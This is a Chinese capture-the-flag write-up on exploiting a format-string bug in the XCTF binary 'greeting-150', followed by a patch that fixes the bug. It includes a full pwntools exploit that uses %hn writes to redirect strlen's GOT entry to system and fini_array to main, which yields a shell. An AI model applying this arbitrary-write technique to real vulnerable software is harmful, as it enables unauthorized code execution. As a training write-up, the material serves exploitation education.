攻防世界greeting-150——进阶格式化字符串
引入
小白不懂事,做着玩的
初步分析
1、checksec
没有pie,got完全可写,种种迹象表明got表准备好了被淦
2、伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [esp+1Ch] [ebp-84h] BYREF
char v5[64]; // [esp+5Ch] [ebp-44h] BYREF
unsigned int v6; // [esp+9Ch] [ebp-4h]
v6 = __readgsdword(0x14u);
printf("Please tell me your name... ");
if ( !getnline(v5, 64) )
return puts("Don't ignore me ;( ");
sprintf(s, "Nice to meet you, %s :)\n", v5);
return printf(s);
}
先读入v5,然后读入s,最后printf输入的字符串,明显的格式化字符串
3、运行
发现运行时在main函数的输出前还有一个输出,查阅资料:在执行main之前会先执行大量函数,其中就有init_array中的函数指针对应的函数。相对应的,在执行main函数后,也会执行大量函数,同样包括fini_array中的函数指针对应的函数。程序执行的流程如下所示。
所以我们查看程序中对应的段,找到这两个段的位置,发现init_array中确实保存了一个函数nao的offset
函数nao的内容
4、栈分析
参数偏移为11,不明白的可以看这两篇博客:
思路分析
1、持续控制
目的是got表,程序中有格式化字符串漏洞,那么可以直接构造栈达到任意地址写的目的。
首先需要使用格式化字符串把got表内一个函数地址改为system地址,这里选择了参数符合要求的且易于调用的strlen函数,然后函数会结束并返回。
为了达到持续控制的目的,这时需要让main函数执行结束后再执行一遍,所以前面提及的fini_array就起作用了,如果我们把main函数的地址写入表中,就可以在main执行之后无限续杯了
相关地址
main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54
查询一下fini_array里原来保存的是什么
pwndbg> x/wx 0x08049934
0x8049934: 0x080485a0
因为地址与main的相近,覆盖的时候只需覆盖低4位即可
2、任意地址写
为了达到任意地址写的目的,需要使用格式化字符串里的%n参数,但是如果想要写入四个字节的话,可能会报错,所以这里为了增加成功几率,使用%hn参数,两个两个字节地覆盖。
关键,写入的时候要从小到大写入,因为%n写入的原理是把目标地址值修改为已输出的字符数
exp
from pwn import*
p=process('./greeting-150')
main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54
fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490
p.recvuntil('Please tell me your name... ')
pl = b'a'*2
pl += p32(strlen_got)
pl += p32(strlen_got+2) # 覆盖高4位
pl += p32(fini_array)
num = 0x804 - 0x20
pl += '%' + str(num) + 'c%13$hn'
num = 0x8490 - 0x804
pl += '%' + str(num) + 'c%12$hn'
num = 0x85ED - 0x8490
pl += '%' + str(num) + 'c%14$hn'
print(len(pl))
p.sendline(pl)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()
保留节目:修洞
把格式化字符串漏洞修复
修复前
.text:08048643 call _sprintf
.text:08048648 lea eax, [esp+0A0h+s]
.text:0804864C mov [esp], eax ; format
.text:0804864F call _printf
.text:08048654 jmp short loc_8048662
修复后
.text:08048643 call _sprintf
.text:08048648 lea eax, [esp+0A0h+s]
.text:0804864C mov [esp], eax ; s
.text:0804864F call puts ; Keypatch modified this from:
.text:0804864F ; call _printf
.text:08048654 jmp short loc_8048662